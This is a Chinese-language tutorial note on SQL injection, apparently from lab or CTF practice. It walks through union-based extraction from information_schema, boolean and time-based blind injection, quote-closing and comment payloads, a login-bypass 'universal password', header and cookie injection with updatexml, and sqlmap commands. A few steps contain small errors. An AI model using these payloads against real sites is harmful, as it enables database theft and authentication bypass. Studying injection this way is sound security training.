显注

SQL注入原理

一、什么是SQL注入

用户输入的内容被浏览器当做数据库语句进行执行。

关键点：输入的内容一定要是数据库语句。

总结：我们在一个网站上输入的【数据库语句】，如果这个网站执行了，就说明这个网站存在数据库注入漏洞。

在网站上输入的地方：

1. 网站上提供的框框（搜索框）。
2. 在地址栏传入参数 domain/search?keyword=123

数据库语法

 select 列名 from 表名 where 条件   select 查询   from 来自   where 条件

Eg：select 侯某是否在家 from 尧哥的家 where 尧哥不在家 翻译：当尧哥不在家的时候，在尧哥的家中，查询侯某是否在家

*：查询所有（正则式）

注入流程

判断目标网站是否存在SQL漏洞

• 输入 and 1=1 —> 有查询结果 输入 and 1=2 —> 没有查询结果
  • ==>根据这个现象推断出网站存在SQL漏洞
• 不输入的时候：select * from user where id=1 输入and 1=1：select * from user where id=1 and 1=1 输入and 1=2：select * from user where id=1 and 1=2

我们输入的都是数据库语句的一部分

逆反思维：假设网站存在SQL漏洞，意味着我们输入的数据库语句他都会执行。

判断字段（列）数

用到order by ，作用：排序

• order by 1 —> 有查询结果 —> 说明表里面有1列。 order by 2 —> 有查询结果 —> 说明表里面有2列。 order by 3 —> 有查询结果 —> 说明表里面有3列。 order by 4 —> 没有查询结果 —> 说明表里面只有3列。

查找回显点

回显点：能够让我们输入的数据库执行，并且将结果显示在页面上。

用到 union ， 作用：联合查询，能够同时执行两条查询语句。 关键点：保证前后两条查询语句列数保持一致。

select * from user union select id from user: 报错，列数一定要保持一致 改成 > select username from user union select id from user:

select * from user where id=1 and 1=2 union select 1,2,3

查询相关数据

version() # 函数，作用：查询版本号 database() # 函数，作用：查库名 将函数放入回显点，就能查出版本号，库名 select 列名 from 表名

limit m,n 从m+1行开始，查询n条数据，类似于过滤输出的意思

查表名

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1

• table_name 列名，网站管理员创建的表名。 table_schema 列名，网站管理员创建的库名。 information_schema 库名，是MySQL自带的。 tables 表名，这个表在information_schema库里面。 information_schema.tables 库.表

查列名

and 1=2 union select 1,2,column_name from information_schema.columns where table_schema = database() and table_name=‘error_flag’ limit 1,1

• column_name 列名，网站管理员创建的列名。 columns 表名，在information_schema库里面。

查数据

and 1=2 union select 1,2,flag from error_flag limit 1,1

select 1,2,3 类似于站位

扩展

闭合引号

pass-01：select * from user where id=1 pass-02：select * from user where id=‘1’

• 输入and 1=1：select * from user where id=‘1 and 1=1’ 输入and 1=2：select * from user where id=‘1 and 1=2’
• 输入’ and 1=1：select * from user where id=‘1’ and 1=1’

注释：—+ , # , —d

• 输入’ and 1=1 —+ ：select *from user where id=‘1’ and 1=1 —’ 输入’ and 1=2 —+ ：select *from user where id=‘1’ and 1=2 —’ 输入’ order by 1 —+ 判断列数 输入’ and 1=2 union select 1,2,3 —+ ：回显点

用#号注释的时候需要URL编码

pass-03：select * from user where id=(‘1’)

• 输入and 1=1：select * from user where id=(‘1 and 1=1’) 输入’) and 1=1 —+ ：select *from user where id=(‘1’) and 1=1 —’) 输入’) and 1=2 —+ ：select *from user where id=(‘1’) and 1=2 —’)

and 和 or 的灵活运用

• and 1=1 and 2=2（条件都成立才算成立）
• or 1=1 or 2=1（一个条件成立，整个条件成立）—> 万能密码漏洞

万能密码：select * from user where username=” and password=” 正常输入：select * from user where username=‘admin’ and password=‘123456’ 万能密码：’ or 2-1=1 — asdf select * from user where username=” or 2-1=1 —asdf’ and password=”

显错注入流程

第一步 判断是否存在SQL漏洞

and 1=1 —> 条件成立，页面有查询结果 and 1=2 —> 条件不成立，页面没有查询结果

第二步 判断字段数 order by

order by 1 —> 有查询结果 —> 说明表里面有1列。 order by 2 —> 有查询结果 —> 说明表里面有2列。 order by 3 —> 有查询结果 —> 说明表里面有3列。 order by 4 —> 没有查询结果 —> 说明表里面只有3列。

第三步 判断回显点————显错注入

union select 1,2,3

第四步 判断数据

database() version()

盲注

盲注如何判断

核心：（猜） 1=1 和 1=2 属于逻辑条件 当条件成立 —> 页面有查询结果 当条件不成立 —> 页面不会有查询结果 逆反：当页面没有查询结果 —> 条件不成立时

猜库名

length() # 作用：判断长度 length(database()) # 判断库名的长度 and length(database())=1 —> 页面没有查询结果，条件不成立 —> 库名长度!=1 and length(database())=12 —> 页面有查询结果，条件成立 —> 库名长度为12 substr(‘abcde’,3,2) # 从第三个位置开始，裁剪两个字符 —> cd and substr(database(),1,1) # 裁剪库名，从第一个位置裁剪一个 —> 裁剪库名的第一个字符出来 and substr(database(),1,1)=‘a’ —> 页面没有查询结果，条件不成立 —> 库名第一个字符不是a 慢慢猜 and substr(database(),1,1)=‘k’ —> 页面有查询结果，条件成立 —> 库名第一个字符是k 然后猜第二个字符 and substr(database(),1,1)=‘a’ —> 页面有查询结果，条件成立 —> 库名第二个字符是a 猜十二个字符

布尔盲注：通过判断以及页面的显示来知道数据。 时间盲注：通过判断以及页面的时间来显示数据。 sleep() # 作用：让网站睡觉 if(1=1,2,3) —>很像三目运算符 if(length(database())=12,sleep(5),3)

猜表名

and length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 1 页面没有查询结果，条件不成立，表名长度不是1 … and length(select table_name from information_schema.tables where table_schema = database() limit 0,1) = 6 页面有查询结果，条件成立，表明长度是6

表明的字符： and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)=‘l’ 有数据，表名第一个字符是l

pass-06: select * from news where id=“1” 输入 ” and length(database())=12 —+

pass-07： ’ or 2-1=1 — qwe

SQLMap：专用于SQL注入漏洞

python sqlmap.py -u "URL"
python sqlmap.py -u "URL"

# kali SQLMap工具，自带。
sqlmap -u "URL"

显注和盲注

SQL注入原理：我们在一个网站上输入的数据库语句。如果这个网站执行了，就说明这个网站存在SQL注入漏洞。 输入的地方：（一定要与数据库交互）

1. 网站提供的输入框
2. 地址栏参数的值
3. head部分

注入流程

1. 判断网站是否存在SQL漏洞 —> 盲注的核心 用判断条件 + 页面的反应 and 1=1 —> 条件成立，页面有查询结果 and 1=2 —> 条件不成立，页面没有查询结果 —> 该网站存在SQL注入漏洞
2. 判断字段数 —> 为了有显示回显点 order by 1 —> 页面有查询结果 —> 说明网站的表里面有1列 order by 2 —> 页面有查询结果 —> 说明网站的表里面有2列 order by 3 —> 页面有查询结果 —> 说明网站的表里面有3列 order by 4 —> 页面没有查询结果 —> 说明网站的表里面有4列 order by 也是可以用来判断是否有SQL漏洞
3. 判断回显点 —> 显错注入的核心 ?id=-9999 union select 1,2,3 ?id=1 and 1=2 union select 1,2,3 两个作用是一样的
4. 查询相关数据 database() # 库名 version() # 版本

http协议-head

GET注入：在网站的参数值 POST注入：在网站提供的输入框 Cookie注入：因为注入点在Cookie的地方 head注入：注入点在head部分

head注入

通常来说，使用head注入，是需要配合成功登录的。

报错注入：能够让数据伴随着报错信息，一起显示出来。 updataxml() # 这是一个函数，作用：能够将数据库语句执行，并且伴随着数据库报错显示错来。 updatexml(1,concat(0x7e,(select version())),1),1) 使用： 输入 ’ and updatexml(1,concat(0x7e,(select version())),1),1) — qwe

User-Agent注入 Referer注入 X-Forwarded-For注入 # 记录IP的，一般不出现在数据包里 X-Forwarded-For: 127.0.0.1 # 能绕过一些防护，但是概率较低

都是类似的head注入

使用SQLMap工具 python sqlmap.py -r 666.txt —level 3 —risk 2 —batch